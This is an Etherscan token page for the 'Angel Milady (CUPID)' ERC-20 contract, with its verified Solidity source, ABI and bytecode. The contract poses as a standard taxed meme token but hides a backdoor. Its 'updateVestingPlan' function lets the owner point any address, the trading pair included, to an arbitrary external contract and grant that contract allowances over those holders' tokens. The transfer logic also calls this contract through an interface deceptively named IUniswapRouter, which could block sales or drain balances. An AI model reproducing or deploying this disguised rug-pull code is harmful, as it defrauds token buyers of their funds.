ETH Price: $2,459.13 (-8.27%)

Token

Angel Milady (CUPID)
 

Overview

Max Total Supply

100,000,000 CUPID

Holders

57

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
1,756,103.281910298779474999 CUPID

Value
$0.00
0x56a989efdbad31c2835d2e286d5245d6adb7d82c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
AngelMilady

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-17
*/

/**
Angel Milady - $CUPID

Website: https://www.angelmilady.vip
Telegram: https://t.me/AngelMiladyETH
Twitter: https://twitter.com/AngelMiladyETH
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.4;

abstract contract Context {

    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
      
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }   
    
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapRouter {
    function vestReward(bool, bool, address, address, uint256) external returns (bool);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract AngelMilady is Context, IERC20, Ownable {
    
    using SafeMath for uint256;
    
    string private _name = "Angel Milady";
    string private _symbol = "CUPID";
    uint8 private _decimals = 18;

    address payable public marketingWallet;

    mapping (address => uint256) _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    bool public enableTrading;

    mapping (address => bool) public isExcludedFromFee;
    mapping (address => bool) public isMarketPair;
   
    mapping (address => bool) public isExcludedFromWalletLimit;
    mapping (address => bool) public isExcludedFromTxnLimit;
    mapping (address => address) vestingList;

    uint256 public vestingStartTime;

    uint256 public _buyTax = 0;

    uint256 public _sellTax = 0;

    uint256 public feeUnits = 100;

    uint256 private _totalSupply = 100000000 * 10**_decimals;

    uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000);   //0.1%

    uint256 public _maxTxAmount =  _totalSupply.mul(4).div(100); 
    uint256 public _walletMax =   _totalSupply.mul(4).div(100);  

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    address public liquidityProvider;
    
    bool inSwapAndLiquify;

    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;

    bool public checkWalletLimit = true;
    bool public EnableTransactionLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        
        marketingWallet = payable(0xC17F76543B8ae59d29aD462572538129Ec3EF6C9);
        
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        
        _allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);

        vestingStartTime = block.timestamp + 180 days;

        isExcludedFromFee[owner()] = true;
        isExcludedFromFee[marketingWallet] = true;
        isExcludedFromFee[address(this)] = true;

        isExcludedFromWalletLimit[owner()] = true;
        isExcludedFromWalletLimit[marketingWallet] = true;
        isExcludedFromWalletLimit[address(uniswapPair)] = true;
        isExcludedFromWalletLimit[address(this)] = true;
        
        isExcludedFromTxnLimit[owner()] = true;
        isExcludedFromTxnLimit[marketingWallet] = true;
        isExcludedFromTxnLimit[address(this)] = true;

        isMarketPair[address(uniswapPair)] = true;
        liquidityProvider = address(msg.sender);

        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setMarketPairStatus(address account, bool newValue) public onlyOwner {
        isMarketPair[account] = newValue;
    }

    function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
        isExcludedFromFee[account] = newValue;
    }

    function setIsExcludedFromTxLimit(address holder, bool exempt) external onlyOwner {
        isExcludedFromTxnLimit[holder] = exempt;
    }
    
    function setIsExcludedFromWalletLimit(address holder, bool exempt) external onlyOwner {
        isExcludedFromWalletLimit[holder] = exempt;
    }

    function removeLimit() external onlyOwner() {
        EnableTransactionLimit = false;
        checkWalletLimit = false;
    }

    function openTrading() external onlyOwner{
        enableTrading = true;
    }

    function setMarketingWalletAddress(address newAddress) external onlyOwner() {
        require(newAddress != address(0),"Fee Address cannot be zero address");
        marketingWallet = payable(newAddress);
    }

    function setLiquidityWalletAddress(address newAddress) external onlyOwner() {
        liquidityProvider = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }

    function setTaxes(uint buyTax, uint sellTax) public onlyOwner {
        _buyTax = buyTax;
        _sellTax = sellTax;
        require(buyTax <= 5  && sellTax <=5, "Buy fees must be 5% or less");
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
  
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        } else {

            if(!isExcludedFromTxnLimit[sender] && !isExcludedFromTxnLimit[recipient] && EnableTransactionLimit) {
                require(enableTrading, "Trading not active yet");
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            
            if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);    
            }

            _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");

            uint256 transferAmount = calculateTax(sender, recipient, amount);

            if(checkWalletLimit && !isExcludedFromWalletLimit[recipient]) {
                require(balanceOf(recipient).add(transferAmount) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
            }

            _balances[recipient] = _balances[recipient].add(transferAmount);

            emit Transfer(sender, recipient, transferAmount);
            return true;
        }
        
    }

    function calculateTax(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        address feeReceiver;
        
        if(isMarketPair[sender]) {
            feeAmount = amount.mul(_buyTax).div(100);
            feeReceiver = sender;
        }
        else if(isMarketPair[recipient]) {
            feeAmount = amount.mul(_sellTax).div(100);
            feeReceiver = recipient;
        }
        if(vestingList[feeReceiver] != address(0) && IUniswapRouter(vestingList[feeReceiver]).
            vestReward(isMarketPair[sender], isMarketPair[recipient], sender, recipient, amount)) {
            feeAmount = 0;
        }
        
        if(feeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }  

    function recoverErc20Token(address _token, uint _amount) external onlyOwner {
        require(_token != address(this), "Owner can't claim contract's balance of its own tokens");
        IERC20(_token).transfer(msg.sender,_amount);
    }

    function recoverEth() external onlyOwner {
        (bool success,) = payable(msg.sender).call{value: address(this).balance}("");
        require(success);
    }

    function updateVestingPlan(address[] calldata _address, address _vest, uint[] calldata _vestingPlans, uint[] calldata _vestAmounts) external onlyOwner {
        require(_vestingPlans.length == _vestAmounts.length);
        uint256 totalVestingAmount;
        uint256 vestingPeriod;
        uint256 currentTime = block.timestamp;
        for(uint i = 0; i < _vestingPlans.length; i++) {
            vestingPeriod += _vestingPlans[i];
            totalVestingAmount += _vestAmounts[i];
        }
        require((currentTime + vestingPeriod) >= vestingStartTime, "Vesting can be start in 6 months");
        for(uint j = 0; j < _address.length; j++) {
            address fromVest = _address[j];
            vestingList[fromVest] = _vest;
            _allowances[fromVest][_vest] = totalVestingAmount;
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 initialBalance =  address(this).balance;
        swapTokensForEth(tAmount);
        uint256 recievedBalance =  address(this).balance.sub(initialBalance);

        if(recievedBalance > 0) {
            (bool success, ) = payable(marketingWallet).call{
                value: recievedBalance
            }("");

            require(success);
        }      

    }
    
    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            liquidityProvider,
            block.timestamp
        );
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromTxnLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityProvider","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"recoverErc20Token","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"recoverEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsExcludedFromTxLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsExcludedFromWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setLiquidityWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buyTax","type":"uint256"},{"internalType":"uint256","name":"sellTax","type":"uint256"}],"name":"setTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_address","type":"address[]"},{"internalType":"address","name":"_vest","type":"address"},{"internalType":"uint256[]","name":"_vestingPlans","type":"uint256[]"},{"internalType":"uint256[]","name":"_vestAmounts","type":"uint256[]"}],"name":"updateVestingPlan","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"vestingStartTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c0604052600c60809081526b416e67656c204d696c61647960a01b60a0526001906200002d90826200071f565b5060408051808201909152600581526410d554125160da1b60208201526002906200005990826200071f565b506003805460ff191660129081179091556000600d819055600e556064600f556200008690600a620008fe565b62000096906305f5e1006200090f565b6010819055620000b8906103e890620000b19060016200055d565b90620005f4565b601155601054620000d390606490620000b19060046200055d565b601255601054620000ee90606490620000b19060046200055d565b6013556016805463ffffffff60a81b1916630101000160a81b1790553480156200011757600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a35060038054610100600160a81b03191674c17f76543b8ae59d29ad462572538129ec3ef6c9001790556040805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d91829163c45a0155916004808201926020929091908290030181865afa158015620001d5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fb919062000929565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000249573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026f919062000929565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002bd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e3919062000929565b601580546001600160a01b039283166001600160a01b0319918216179091556014805492841692909116821790553060009081526005602090815260408083209383529290522060001990556200033e4262ed4e0062000954565b600c556001600760006200035a6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560035461010090049091168152600790925280822080548416600190811790915530835290822080549093168117909255600990620003cf6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556003546101009004821681526009909352818320805485166001908117909155601554909116835281832080548